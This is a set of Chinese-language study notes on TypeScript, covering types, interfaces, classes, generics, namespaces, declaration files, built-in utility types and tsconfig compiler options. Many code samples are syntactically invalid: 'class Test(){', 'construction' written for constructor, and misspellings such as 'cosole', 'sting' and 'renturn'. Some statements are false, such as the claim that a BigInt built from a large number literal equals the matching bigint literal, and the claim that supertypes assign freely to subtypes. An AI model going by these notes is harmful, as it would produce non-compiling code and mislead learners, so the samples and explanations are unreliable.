hallo.ts\n变量声明\n推荐使用const和let声明变量，而不要使用var声明（因为var具有变量提升和重定义）\n基础类型\nTypeScript具有强类型的特点\nboolean，string，number，array，null，undefined，object，tuple，enum，void，never，any\nboolean布尔值，例如：\nlet hallo: boolean = true\nnumber数值，例如：\nlet hallo: number = 123;\n二进制和八进制，十进制，十六进制都可以用number类型来表示\nstring字符串\nlet hallo: string = hallo;\nvoid类型（当一个函数没有返回值时，那么其返回值类型就可以定义为void）\nfunction voiddemo(): void { let a = 10; } void类型只有两个值，undefined和null\nundefined类型和null类型是所有类型的子类型\nAny（当不清楚类型的变量指定一个类型，有可能这个变量的类型是动态的，想跳过类型检查就可以用这个）\nlet abc: any =123;\nabc = hallo;\nvoid（表示没有任何类型，当一个函数没有返回值，那么其返回值类型就是void）\n声明一个void类型的变量，这个变量只能选择两个值undefined和null其中一个\nlet und void = undefined;\nundefined和null和JavaScript中概念是一样的，空，未定义\nobject，就是非基础类型，和JavaScript中概念是一样的\n枚举，数组，元组，对象都是object类型\nlet obj: object;\narray数组\nlet arrs: number[] = [1,2,3];\nlet arrs: Array = [1,2,3];\ntuple元组：元组类型允许一个数组的元素是不同的类型的，但是必须按照要求来定义，例如\nlet x [string, number?]; x = [\u0026lsquo;hello\u0026rsquo;, 10];\nx.push(\u0026ldquo;hi\u0026rdquo;);\ntuple元组是固定长度，固定类型，长度不能多不能少，类型必须要一一对应\n元组类型允许在类型后缀一个?来说明该元素是可选的，可选元素必须要在必选元素后面，否则有一个元素后面加了?，那么其后面全部元素都要加?\n注意：元组虽然可以越界添加元素（不推荐），但是不可越界访问\nenum枚举（允许为一组数值赋予名字）\nenum hallo {a, b, c}\nhallo.a === 0 // true\n默认从0开始，当然也可以手动指定数值\nenum hallo {a=6, b, c}\n最强大的一处是，可以根据值来得到它的名字\nlet yes: string = hallo[6];\nconsole.log(yes);\n如果分开声明名称相同的枚举，那么就会自动合并\nbigint类型（可以表示任意大的整数，Number类型能表示的最大整数为2^53 - 1）\n在整数后面加n或者调用BigInt()函数来定义bigint，也可以在BigInt()函数中用字符串，这三种方式表达的出来的值都是一样的\nlet abc: bigint = 8888888888888888888888888n\nlet xyz: bigint = BigInt(8888888888888888888888888)\nabc === xyz // true\nSymbol类型（每个symbol值都是唯一的）\nlet abc: symbol = Symbol(\u0026ldquo;hallo\u0026rdquo;)\nlet xyz: symbol = Symbol(\u0026ldquo;hallo\u0026rdquo;)\nabc === xyz // false\nnever类型（表示那些永远不存在的值的类型，永不为真）\nnever类型是任何类型的子类型，也可以赋值给任何类型，但是没有类型是never子类型或者赋值给never类型（除了never本身），连any都不能赋值给never\n抛出异常或者不会有返回值的函数，其函数返回值类型为never\nunknown类型是any类型对应的安全类型\nunknown类型只能赋值给any和unknown类型本身\nlet abc: unknown\nlet a: any = abc // yes\nlet b: unknown = abc // yes\nlet c: number = abc // Error\nunknown类型被确认为某个类型之前，不能被进行函数执行，实例化之类的操作\n类型断言\nas语法\nlet hallo any =hallo;\nlet abc number = (hallo as string).length;\n尖括号语法\nlet hallo any =hallo;\nlet abc number = (stringhallo).length;\n面向对象\n以键值对的方式表示的都是对象，多个键值对用逗号,分隔\nconst obj = {hallo: \u0026lsquo;123world\u0026rsquo;}\nconsole.log(obj.hallo)\nTypeScript在对象被定义时已经设置了类型，当引用不存在的，会报错\ninterface接口\n限制传入的参数的值\ninterface hallo{ a?: number; b: number; readonly c: string; [Name: string]: any; } function abc(as: hallo) { console.log(as.a) } let myabc: hallo = { a: 123, b: 666, c: \u0026quot;hallo\u0026quot;, xyz(){ return 'hallo word'; } } abc(myabc) 在属性名前使用readonly指定其为只读属性\ninterface和type的区别：interface表示一个对象的属性类型，而type被作为类型别名使用，例如：\ntype testa = sting testa就是sting类型的别名，而interface不能\n在属性名后使用?指定其为可选的\n接口用于类上\nclass Test implements hallo{ a: 1, b: 2, c: \u0026quot;abchhh\u0026quot;, xyz(){ return 'hallo ts'; } } 不要把接口来当type用，这是错误的用法，是用来定义一个对象中有哪些属性，有哪些方法，方法里面有哪些属性，参数等等，接口本身就是为了规范一个对象的行为，使用implements关键字就表示该对象就是这个接口的实现\n接口的继承\ninterface hallo{ a?: number; b: number; readonly c: string; [Name: string]: any; } interface Test extends hallo{ abcxyz(): string; // 这里继承了hallo接口，并且还给自己定义了个返回值为string类型的abcxyz()方法 } function abc(as: Test) { console.log(as.a) } let myabc: Test = { a: 123, b: 666, c: \u0026quot;hallo\u0026quot;, xyz(){ return 'hallo word'; } abcxyz(){ return 1+2; } } abc(myabc) 函数的接口定义\ninterface abc1{ (test: string): string; } let abc: abc1 = (a: string) =\u0026gt; { return a; } let a = abc('hallo word') console(a) 使用[]括起来表示这是任意数量的属性，只要不是已经存在（被定义）的属性\nlet abc: { name: string; pass: string; } = { name: 'root', pass: '123456' }; let xyz : number[] = [1,2,3,4,5,6]; class Tabcxyz{} let a1: Tabcxyz = new Tabcxyz(); let a2: () =\u0026gt; string = () =\u0026gt; { return 'hallo word'; // 函数返回值类型 } 判断数据类型\nlet abc: number = 123;\ntypeof abc === \u0026ldquo;number\u0026rdquo;; // tuer\nts具备自动分析变量类型功能，当无法分析时，才需要使用类型注解\nlet domeTest = 123 // number，自动分析变量类型功\nlet abc: number; // 类型注解\nnumber = 123\n函数\nfunction abc(): number{ return 123; // 这个number表示函数返回值的类型 } 函数参数类型\nfunction abc(a:number,b:number): number{ return a+b; // 这个number表示函数返回值的类型 } let xyz = abc(1+2) 函数解构参数类型\nfunction abc({a,b}: {a: number,b: number}): number{ return a+b; // 这个number表示函数返回值的类型 } let xyz = abc(1+2) 数组与元组（tuple）\n当数组元素存在不同类型时\nlet arr:(number | string | boolean)[] = [1,'hallo', true, 123, 'hhh']; // 表示数组元素可以是number和string和boolean 数组对象类型\nlet objarr:{name: string, age: number, pass: string}[] = [{ name: 'root', age: 18, pass: '123456' }] 或者\ntype objclass = {name: string, age: number, pass: string} let abc : objclass[] = [{ name: 'root', age: 18, pass: '123456' }] 或者\nclass Abctest{ name: string, age: number, pass: string } let abc : Abctest[] = [ new Abctest(), { name: 'root', age: 18, pass: '123456' } ] 元组（元组的长度和类型是固定的，数组每一项都必须对于类型的每一项）\nlet abc: [sting, number, sting] = [ 'root', 18, '123456' ] 多维元组\nlet abc: [sting, number, sting][] = [ ['root',18,'123456'], ['admin',16,'123456789'], ['test',20,'test123'], ] 类的定义与继承\nclass Demo{ name = 'root'; Test(){ return this.name; } } class Demo1 extends Demo{ name = 'admin'; // 重写 name属性 Test1(){ return 'hallo ts'; // 继承Demo类的同时，自己还具备Demo不存在的Test1()方法 } Test(){ return 'hallo' + super.Test() // 如果在重写父类的方法时，还想调用父类的方法时，可使用super调用 } } let demo1 = new Demo1(); console.log(demo1.Test()); console.log(demo1.Test1()); 类的访问类型（private，protected，public）和构造器（construction）\nclass Test(){ public name: string; // 类外可被调用 protected pass: string; // 类内以及被继承到的子类调用 private Testa(){ console.log('hallo word') // 类内可被调用，类外不可调用 } } let test1 = new Test(); tets1.name = 'hallo'; console.log(tets1.name); class Test1 extends Test{ public Testaa(){ cosole.log(this.pass); } } construction构造器（construction方法是类内部提供的，当一个类被new了，那么该类construction方法就会触发）\nclass Test(){ public name: string; protected pass: string; construction(name: string){ this.name = name; } } let test1 = new Test('admin'); cosole.log(test1.name); 注意：当父类存在construction时，子类也有construction时，需要手动调用父类的construction（调用super()）\n静态类型，setter和getter（暴露私有属性并且保护私有属性）\nclass Test(){ private _name: string; // name属性是私有属性，无法被类外调用 construction(name: string){ this._name = name; } get getName(){ return this._name; // 通过getName方法对外暴露name属性 } set setName(name: string){ let Tname = name.split('')[0]; // // 通过setName方法对外暴露name属性 this._name = name } } let test1 = new Test('admin'); cosole.log(test1.getName); 单例模式\nclass Test(){ private static Testabc: Test; private construction(){} // 禁止通过new创建实例 public getTest(){ if (!this.Testabc) { this.Testabc = new Test(); // 判断如果Testabc不存在时，Testabc等于Test实例 return this.Testabc; // 返回存储了Test实例的属性 } return this.Testabc; // 对外暴露这个存储了Test实例的属性 } } let test1 = Test.getTest() // 存储了Test实例的属性赋值给了test1变量 let test2 = Test.getTest() // 存储了Test实例的属性赋值给了test2变量 console.log(test1 === test2); // true 这两个存储了Test实例的变量实质上还是同一个 抽象类（抽象类只能被继承，类的抽象进行封装，复用）\nabstract class Abc{ name: string; abstract getTest1(): string; } class Test extends Abc(){ constructor(){ super(); } getTest1(){ return 'hallo word'; } } class Test1 extends Abc(){ constructor(){ super(); } getTest1(){ return 'hallo hhh'; } } let test1 = new Test(); console.log(test1.getTest1); 联合类型和类型保护\n联合类型就是给一些类型出来，只要满足其中一种类型就可以，例如：\nlet a : number | string = 'hallo word' a = 66 // a变量需要满足number或者string其中一种类型就可以了 类型保护就是通过类型断言，class或者instanceof来保护类型\nenum枚举类型\n枚举通过enum关键字创建，并且枚举元素一被定义将无法改变，格式和对象类似\nenum a{ name, age, pass } console.log(a.age) // 1 console.log(a[1]) // age 枚举元素默认第一个值从0开始递增，另外key和value是能互相访问的（这些规则只能用于数值枚举元素，其他类型无效）\nenum a{ name = 'root', age = 18, pass = '123456' } 上面这个例子为异构枚举，允许数值枚举和字符串枚举混合使用\n注意：当然枚举存在字符串枚举成员时，是不能存在计算的\n函数泛型（泛型：generic，表示泛指的类型）\nfunction abc\u0026lt;XYZ\u0026gt;(a: XYZ,b: XYZ){ return a + b; } abc\u0026lt;string\u0026gt;('hallo','root'); 类泛型和泛型类型\nclass Demo\u0026lt;XYZ\u0026gt;{ ages: XYZ[] getDemo(a:number): XYZ{ return this.ages[a] } } let demo = new Demo\u0026lt;number\u0026gt;([1]) demo.getDemo(0) 命名空间namespace（在命名空间内部定义的变量，类只能在该命名空间内部金额访问到，如果需要外部访问需要export导出）\nnamespace Test{ let a = \u0026quot;hallo word\u0026quot;; export function b(i: number){ return i; } } 命名空间的实现原理就是立即执行函数搭配闭包，闭包可以减少全局变量的诞生，而如果进行导出export了，那么该被导出的变量会暴露到全局环境下\n可以给函数，class，enum枚举类型声明命名空间（必须在声明函数，class，enum之后使用命名空间） 命名空间与函数，class，enum枚举类型同名，命名空间将作为补充，例如：\nfunction Test(){} namespace Test{ let a = \u0026quot;hallo word\u0026quot;; export function b(i: number){ return i; } } console.log(Test.a,Test.b(123)) 命名空间别名\nimport test = Test.b 合并命名空间\n如果是同名的命名空间，会自动合并成一个（注意：合并只针对导出的成员，而且不能重名）\n如果是不同文件下命名空间，例如：\na.ts\nnamespace Test{ let a = \u0026quot;hallo word\u0026quot;; function b(i: number) return i; } b.ts /// // 会在编译b.ts之前编译a.ts namespace Test{ import a = Test.a console.log(a) }\n类型注解文件（.d.ts）\n类型注解声明需使用declare或export关键字，declare是定义全局，可直接引用，而export需要使用import导出\n注意：当定义interface接口或者type类型的时候，不需要加declare或export关键字\n定义全局变量abc，它的类型是string（除了var关键字可以定义外，还有let，const都可以定义）\ndeclare var abc: string; 定义全局函数abc()，该函数的参数为string类型，返回值也是对象，并且定义该对象中存在一个data方法，该方法接收一个string类型的参数，该方法的返回值是string类型\ndeclare function abc(param:string): { data: (data: string) =\u0026gt; string; }; abc('test').data('hallo word'); 定义接口 Abc，该接口被用于函数abc()上，表示abc()函数的返回值类型\ninterface Abc{ test: (str: string) =\u0026gt;{}; } declare function abc(): Abc; 函数重载：类型注解是允许多次定义函数的类型注解声明\n声明对象Abc，该对象下存在着Test对象，Test对象下存在Data()构造函数\ndeclare namespace Abc { namespace Test { class Data {} } } new Abc.Test.Data() 模块化的类型注解\n定义一个Test模块的类型注解，该模块存在一个Abc方法，该方法也存在一个test方法，test方法的返回值为对象\ndeclare module 'Test' { interface Abc{ test: (str: string) =\u0026gt;{}; } export = Abc; } import Abc form 'Test' Abc.test('hallo word') 当ts项目需要用到外部库时（例如Jquery），需要提供其类型注解文件，声明其对外的接口，常用的库社区都会提供类型注解文件，一般情况下其类型注解文件都是在该包的源码目录下，如果没有需要进行下载，例如npm i @types/jquery\n泛型的keyof关键字\ninterface Test{ name: string; pass: string; age: number; } class Abc{ constructor(private data: Test) getData\u0026lt;T extends keyof Test\u0026gt;(key: T): Test[T] { renturn this.data[key] } } const TestData = new Abc({ name: 'root', pass: '123456', age: 20 }) const test = TestData.getData('name'); console.log(test) 从上面例子中的，可以看到keyof的作用就是遍历类型的属性，keyof的返回值类型其实是个联合类型（key也是可以用来搞class）\n上面例子输入的key参数不为Test接口定义属性时会提示错误\n装饰器：装饰器本身是函数，装饰器通过@来调用，通过装饰器来扩展目标的功能\n注意：装饰器目前是实验功能，需要手动开启实验功能，在tsconfig.json找到experimentalDecorators和emitDecoratorMetadata设置为true\n类的装饰器（会在类创建完毕后立即执行装饰器，注意：对类装饰，并不对实例装饰，类装饰器的参数是构造函数）\nfunction Abc(constructor: any){ console.log('hallo word'); } @Abc class Test{} let test = new Test(); 方法的装饰器（方法装饰器有3个参数，分别是类的构造方法，方法名，方法的属性描述符）\n属性的装饰器（属性装饰器有2个参数，分别是类的原型，属性名）\n参数的装饰器（函数的参数装饰器有3个参数，分别是类的构造函数，参数名，参数在参数列表中的索引）\n协变和逆变\nTypeScript允许子类型赋值给父类型，也允许父类型赋值给子类型，因为这是类型安全的，是完全允许的，例如：\ntype Test = { name: string; } type Abc = { name: string; pass: string; } let a: Test = { name: 'root' } let b: Abc = { name: 'root' pass: '123456' } b = a 子类型可以赋值给父类型，而这个就叫协变，允许赋值时给一个更全面的类型或者相同的类型（父类是子类的超类）\nTypeScript不需要通过extends继承来确定，而是通过类型结构（structual type）来确定父子关系的\n逆变\n父类型可以赋值给子类型，函数参数具有逆变的特性，例如：\ntype Test = { name: string; } type Abc = { name: string; pass: string; } let hallo = (a: Abc) =\u0026gt;{ console.log(a) } let hi = (b: Test) =\u0026gt;{ console.log(b) } hallo = hi 注意：协变和逆变作用只生效于父子类型，非父子类型不会发生\nts允许符合一个接口的前提下扩展，但是有个例外，不允许使用字面量的方式（但是可以使用as和\u0026lt;\u0026gt;类型断言来允许）\n可索引接口，索引签名\n函数接口\nlet abc:(a:number,b:number)=\u0026gt; number interface abc{ (a:number,b:number):number } 函数接口的实现要求形参和实参必须一一对应（可选参数和剩余参数（扩展）除外）\n函数重载（ts允许函数名相同，但是参数个数和类型不相同）\nfunction abc(...a: number[]): number function abc(...a: string[]): string function abc(...a: any[]):any{ let xyz = a[0] if(typeof xyz === 'string'){ return a.join('') } if(typeof xyz === 'number'){ return a.reduce((x,y)=\u0026gt;x+y) } } 多态：通过父类抽象方法，让子类可以重写该方法\n类接口和实现的成员修饰符必须相等，不能接口是公有属性，实现变成的私有属性\n接口可以继承多个接口，多个接口用逗号分隔，而且该接口的实现必须满足多个接口的要求\n接口也可以继承类，一个子类可以继承父类的同时还可以实现接口\n接口只能约束类的公有成员，接口可以抽离类的公有，私有，受保护成员\nts类型检查机制：类型推断，类型兼容性，类型保护\n类型推断：ts可以根据规则来自动推断出一个类型，基础类型推断，最佳通用类型推断，以及上下文类型推断\n类型断言可以覆盖ts的自动类型推断，错误的类型断言很危险\n类型兼容：ts允许一个子类类型兼容父类\ntype a = { aa: number } type b = { aa: number, ab: string } let abc: a = {aa:1} let xyz: b = {aa:2,ab:'hallo'} abc = xyz // xyz = abc 不兼容，因为abc不符合xyz类型的要求，但是xyz符合abc的类型（在满足类型要求上扩展类型） 源类型满足目标类型的要求时，源类型可以赋值给目标类型\n函数类型兼容：源函数参数个数必须小于等于目标函数，固定参数可以兼容可选参数和扩展参数，但是可选参数是不兼容固定参数和扩展参数的，扩展参数兼容固定参数和可选参数，而且参数类型必须匹配\nlet abc = (a:number,b:number) =\u0026gt;{} let xyz = (a:number) =\u0026gt;{} abc = xyz 接口的类型兼容：a接口的定义满足b接口的定义时，a的实现可以赋值给b的实现（多兼容少的）\ninterface A{abc: number} interface B{abc: number,xyz: string} let a = (abc: A) =\u0026gt; {} let b = (abc: B) =\u0026gt; {} b = a 类型保护：在某个特定的区块中保证变量属性某个确认的类型，在该区块可以放心使用该类型的属性和方法\n可以用类型也可以用类 if(abc instanceof number){}else{}\n对象属性 if(\u0026lsquo;data\u0026rsquo; in abc){}else{}\n基本类型 if(typeof a === \u0026lsquo;string\u0026rsquo;){}else{}\n类型位词\nfunction isnumber(a: abc | xyz): a is number{ return (a as abc).data !== undefined } 通过返回值来确定类型\n高级类型（这些高级类型更像是工具类型）\n交叉类型与联合类型\ninterface A{abc: number} interface B{abc: number,xyz: string} let hhh : A \u0026amp; B = { abc: 123, xyz: 'hallo' } hhh实现具备了A和B接口全部特性，交叉类型是取全部接口的并集\nlet a: number | string = 'hallo' 联合类型还可以通过字面量来限制变量的取值\nlet a: 1 | 2 | 3 联合类型对于类只能访问其共有成员（取交集）\nclass a{ data(){} abc(){} } class b{ data(){} xyz(){} } enum gg{a,b} let hhh = gg.a ? new a() : new b{} hhh.data() 也可以利用联合类型来根据共用成员的值来做类型保护区块\n索引类型（对于索引做类型约束）\ninterface B{abc: number,xyz: string} let key: keyof B let value: B['abc'] let obj={a:'hallo',b:'abc',c:'xyz'} function get\u0026lt;T, K extends keyof T\u0026gt;(obj: T,keys:K[]): T[K][]{ return keys.map(key =\u0026gt; obj[key]) } get(obj,['a','b','c']) 当索引不存在的属性时，ts会报错提示\n映射类型\ninterface A{abc: string,xyz: number, hhh: boolean} type a = Readonly\u0026lt;A\u0026gt; 可以看到类型别名a是对于属性是只读的\nReadonly的实现是索引类型\ntype Readonly\u0026lt;T\u0026gt; ={readonly [P in keyof T]: T[P]} 把接口属性变成可选的\ntype b = Partial\u0026lt;A\u0026gt; Partial的实现\ntype Partial\u0026lt;T\u0026gt; = {[P in keyof T]?: T[P]} Required将接口属性变成必选\ntype c = Required\u0026lt;A\u0026gt; Required的实现\ntype Required\u0026lt;T\u0026gt; = {[P in keyof T]-?: T[P]} 抽取接口的指定属性，来创建一个新的类型\ntype abc = Pick\u0026lt;A,'abc','xyz'\u0026gt; Pick的实现\ntype Pick\u0026lt;T,K extends keyof T\u0026gt; = {[P in K]: T[P]} Omit去除指定属性，来创建一个新的类型\ntype abc = Omit\u0026lt;A,'abc','hhh'\u0026gt; Omit的实现\ntype Omit\u0026lt;T,K extends keyof any\u0026gt; = Pick\u0026lt;T, Exclude\u0026lt;keyof T,K\u0026gt;\u0026gt; 上面的被ts官方叫统态（不会创建新的属性）\nRecord通过传入的泛型参数来作为接口的属性和值\ninterface A{abc: string,xyz: number, hhh: boolean} type xyz = 'a' | 'b' | 'c' let abc: Record\u0026lt;xyz, A\u0026gt; = { a:{ abc: 'hallo', xyz: 123, hhh: true }, b:{ abc: \u0026quot;abc\u0026quot;, xyz: 666, hhh: false }, c:{ abc: 'hhh', xyz: 12345, hhh: false }, } Record的实现\ntype Record\u0026lt;K extends keyof any, T\u0026gt; = {[P in K]: T} 条件类型\ntype A\u0026lt;T\u0026gt; = T extends number ? 'number': T extends string ? 'sting': T extends Function ? 'function': 'object' type Ta = A\u0026lt;string\u0026gt; type Tb = A\u0026lt;Function\u0026gt; 分布式条件类型\ntype Tc = A\u0026lt;string | number\u0026gt; 下面的例子中diff可以过滤掉T可以赋值给U的属性\ntype diff\u0026lt;T,U\u0026gt; = T extends U ? never: T type Ta\u0026lt;T\u0026gt; = diff\u0026lt;T,undefined | null\u0026gt; type Tb = Ta\u0026lt;string | undefined | null | number\u0026gt; 实质上diff类型官方已经提供了，叫Exclude\u0026lt;T,U\u0026gt; Ta类型ts官方叫NonNullable\nExtract\u0026lt;T,U\u0026gt;是Exclude\u0026lt;T,U\u0026gt;的取反，Extract\u0026lt;T,U\u0026gt;会T抽取出可以赋值给U的类型，例如：\ntype Tc = Extract\u0026lt;'a'|'b'|'c','a'|'c'\u0026gt; ReturnType，获取函数返回值的类型\ntype Td = ReturnType\u0026lt;()=\u0026gt;string\u0026gt; ReturnType的实现\ntype ReturnType\u0026lt;T extends (...args: any) =\u0026gt;any\u0026gt; = T extends (...args: any) =\u0026gt; infer R ? R : any 意思是T可以赋值给一个函数，这个函数接收不指定数量的参数，参数类型为any，返回值也是any，利用infer延迟推断类型，如果类型为R就返回R，否则返回any\nConstructorParameters获取构造函数的构造参数\nclass B{ constructor(name: string,pass: string, mail?: string){} } type Bb = ConstructorParameters\u0026lt;typeof B\u0026gt; ConstructorParameters的实现（通过infer来推断构造参数的类型）\ntype ConstructorParameters\u0026lt;T extends abstract new (\u0026hellip;args: any) =\u0026gt; any\u0026gt; = T extends abstract new (\u0026hellip;args: infer P) =\u0026gt; any ? P : never\nParameters获取函数的参数\ntype Tb = Parameters\u0026lt;(a:number,b:string,c?:boolean)=\u0026gt; void\u0026gt; Parameters的实现\ntype Parameters\u0026lt;T extends (...args: any) =\u0026gt; any\u0026gt; = T extends (...args: infer P) =\u0026gt; any ? P : never ThisParameterType获取函数的this参数类型\ntype Tc = ThisParameterType\u0026lt;(this: number,a: string) =\u0026gt; void\u0026gt; ThisParameterType的实现\ntype ThisParameterType\u0026lt;T\u0026gt; = T extends (this: infer U, ...args: never) =\u0026gt; any ? U : unknown ThisType指定this的类型\nOmitThisParameter去除函数中的this类型\ntype Te = OmitThisParameter\u0026lt;(this: number, a: string) =\u0026gt; string\u0026gt; OmitThisParameter的实现\ntype OmitThisParameter\u0026lt;T\u0026gt; = unknown extends ThisParameterType\u0026lt;T\u0026gt; ? T : T extends (...args: infer A) =\u0026gt; infer R ? (...args: A) =\u0026gt; R : T Uppercase将字符串字面量转换成大写\nLowercase将字符串字面量转换成小写\nCapitalize将字符串字面量的第一个字母转换为大写\nUncapitalize将字符串字面量的第一个字母转换为小写\ntype Ta1 = Uppercase\u0026lt;'Hello'\u0026gt; type Tb1 = Lowercase\u0026lt;Ta1\u0026gt; type Tc1 = Capitalize\u0026lt;Tb1\u0026gt; type Td1 = Uncapitalize\u0026lt;Tc1\u0026gt; 实现分别为\ntype Uppercase\u0026lt;S extends string\u0026gt; = intrinsic type Lowercase\u0026lt;S extends string\u0026gt; = intrinsic type Capitalize\u0026lt;S extends string\u0026gt; = intrinsic type Uncapitalize\u0026lt;S extends string\u0026gt; = intrinsic declare\nts允许声明同名接口，新的同名接口的属性将作为新属性（合并接口），但是不允许重复声明接口的类型，例如：\ninterface AA { name: string; } interface AA { id: number; } let aa: AA={ name: 'root', id: 1 } 注意：接口合并时，非函数类型的属性的类型必须一致，而函数类型的属性将被认为是函数重载，如果使用函数类型的属性时类型不一致，需要提供一个更宽泛的类型（参数和返回值的类型），必须包含其全部类型\n合并接口，按照声明的顺序来排，后声明的接口优先级高于前面声明的接口，而接口内部是从上往下排序，但是有个例外，就是当使用字面量作为类型时，使用字面量当类型的属性将会提升到最顶端\n也可以利用函数重载（后声明的接口具备更高的优先级，请不要在最后面使用泛型，在后面使用泛型会因为优先级的原因导致后面的类型全是泛型）\ninterface BB { funs(id: any):any } interface BB { funs(id: string):string } interface BB { funs(id: number):number } let bb: BB ={ funs(id:any){ return id } } let b1 = bb.funs(1) let b2 = bb.funs('root') let b3 = bb.funs(true) 同样，命名空间也可以像这样合并，但是非export成员只能在原本的命名空间可见\n注意：当定义了一个类类型时，这个类类型不能合并，因为它是值又是类型的特殊对象\ntsconfig.json配置文件应用\nrootDir（指定输入目录） outDir（指定输出目录） allowJs（是否处理js文件） checkjs（是否检查js文件的语法）\ntsconfig.json的核心compilerOptions，compilerOptions的主要配置分别为target（指定ts编译的目标。例如ES2020，ES5，ESNext等等），module（设置ts使用的模块化系统，当target为ES3，ES5时，module默认为Commonjs，当target为es6或者更高时，默认值为ES6，支持ES2020，UMD，AMD，System，ESNext，以及None选项），jsx（指定jsx文件转译为js文件的输出方式，只影响.tsx文件的输出，支持react，react-jsx，react-jsxdev，preserve，react-native），incremental（表示是否启动增量编译，如果为true时，会将上次编译的工程图信息存储在磁盘上），declaration（表示是否为项目的ts或者js文件生成.d.ts文件，如果需要指定声明文件存储位置，可使用declarationDir属性指定目录，如果只想生成声明文件则可以开启emitDeclarationOnly属性，开启该属性，将不会生成js文件，只生成声明文件，设置声明文件目录，可使用typeRoots属性，该属性默认值为node_modules/@types，这个属性值为数组，可传入1个或者多个声明文件目录，如果只想使用指定声明文件，则可以使用types属性，这个属性值也是一个数组，只有包含在内的声明文件才能被加载引用），sourceMap（是否生成sourcemap文件，sourcemap文件将以.js.map或者.jsx.map的形式被生成与.js文件或者.jsx文件同级目录下，sourcemap文件可以允许调试器和其他工具在生成js文件时，显示原来的ts代码，如果需要生成inlineSourceMap格式的map文件，则需要开启inlineSourceMap属性，这个属性不能与sourceMap属性一起用，声明文件也想生成sourceMap文件，开启declarationMap属性即可），lib（控制lib.d.ts声明文件的库定义文件）\n如果需要开启输出诊断信息，则true一下diagnostics属性，会输出编译时的信息，例如编译时间（Total time）\nallowUmdGlobalAccess，是否允许在模块中以全局变量的方式来访问UMD模块\nmoduleResolution，模块解析的策略，默认为node（相对，非相对导入模块），还有classic策略（该策略，相对导入会解析同级目录下的ts，.d.ts文件，非相对导入会通过node_modules目录来查找模块，如果本级没有，会向上级查找，该模式可用于AMD，System，ES2015模块标准）\n如果开启了incremental增量编译，会生成一个tsconfig.tsbuildinfo的文件，这个文件是增量编译的依赖文件，如果需要指定增量编译的依赖文件的存储位置，可以使用tsBuildInfoFile属性\noutFile属性是将多个互相依赖的文件整合成一个文件，一般用于AMD模块标准中，属性值是被整合成的文件名以及路径\n编译阶段去除全部注释：使用removeComments属性，设置为true\n如果编译阶段不想输出文件（就是只编译不生成），可开启noEmit属性\n如果想编译阶段发生错误时不输出文件，可开启noEmitOnErrot属性\n如果在编译时不生成helper工具函数，可开启noEmitHelpers属性，并且搭配ts-helpers包使用（如果不搭配该包使用，会导致__extends方法未定义），也可以搭配importHelpers属性使用，开启该属性会使用tslib来引入helper函数（tslib就包含了__extends方法），但是这个文件必须模块，helper工具函数会增加文件体积\n如果想ES3或者ES5使用迭代器（降级使用迭代器），可开启downlevelIteration属性，例如扩展符的实现支持是通过helper工具函数的__spread方法来完成的\n开启严格模式，strict，为true时， alwaysStrict（是否对代码注入use strict），noImplicitAny（是否不允许隐式的any类型，开启后必须有类型注解），strictNullChecks（是否不允许将null，undefined赋值给其他类型的变量），strictFunctionTypes（是否不允许函数参数双向协变），strictBindCallApply（是否使用严格的bind，call，apply检查，开启后bind，call，apply的指向不能为空（undefined，null），并且严格按照类型传值），strictPropertyInitialization（类的实例属性是否必须初始化，开启后必须对类的实例进行初始化），noImplicitThis（是否不允许this存在隐式的any类型，由于ts对this类型检查不好，因此会对this使用any类型，开启后this将不允许存在any类型）属性都将默认为true\n如果还需要额外的进行检查，可开启noUnusedLocals（是否不允许存在只声明，但是不使用的局部变量），noUnusedParameters（是否不允许未使用的函数参数），noImplicitReturns（函数中是否必须要有返回值），noFallthroughCasesInSwitch（是否不允许switch语句的case贯穿（fallthrough错误））属性\nswitch语句的case贯穿：当switch语句没有break时，switch语句会依次执行\n模块解析策略，moduleResolution，当mould配置为AMD，UMD，System，ES6时，默认为classic，否则为node\n设置基准目录，baseUrl，解析非绝对路径模块名时的基准目录，当为\u0026rsquo;./\u0026lsquo;时，表示在tsconfig.json所在的目录开始查找文件\n路径设置，paths，将模块路径映射到相对于baseUrl定位的其他路径配置，例如：\n\u0026quot;paths\u0026quot;: { \u0026quot;@src/*\u0026quot;: [\u0026quot;src/*\u0026quot;], \u0026quot;test\u0026quot;: [\u0026quot;src/test/test.ts\u0026quot;] } ... import test from 'test' 指定多个目录作为根目录（创建一个虚拟目录），rootDirs，允许编译器在这些目录中解析相对于的模块导入，例如：\n'rootDirs': ['src','build'] 这个将表示src目录和build目录属于同一个虚拟目录，如果build目录存在依赖，但是ts源码文件在src目录下，需要使用build目录的依赖时，可以使用这个，不需要编译后再修改依赖路径\n指定类型文件的根目录，typeRoots，默认node_modules/@types下的包都是可见的，如果指定了typeRoots将表示从该目录里查找类型文件\n指定全局范围的包，types，默认情况下typeRoots的包都会被包含到编译过程中，除非指定types，只有列出的包才能被包含在全局范围中，例如：\n\u0026quot;types\u0026quot;: ['node','jest','express'] 如果想在编译阶段打印输出的文件，可开启listEmittedFiles属性\n如果想在编译阶段打印进行编译的文件（其中包括引用的声明文件），可开启listFiles属性\nallowSyntheticDefaultImports表示是否允许默认导出，当为true时表示一个模块没有默认导出，也认为其他模块也能像默认导出一样导入使用该模块\nesModuleInterop表示是否开启ES模块的互操作，可以使用ES模块的方式导入Commonjs包，当模块没有类型时，可直接require()方式引用，如果具备类型声明，那么需要使用import的方式导入，开启该选项，会默认开启allowSyntheticDefaultImports\n开启esModuleInterop属性，将允许export = xxx的形式导出，并且使用import = xxx 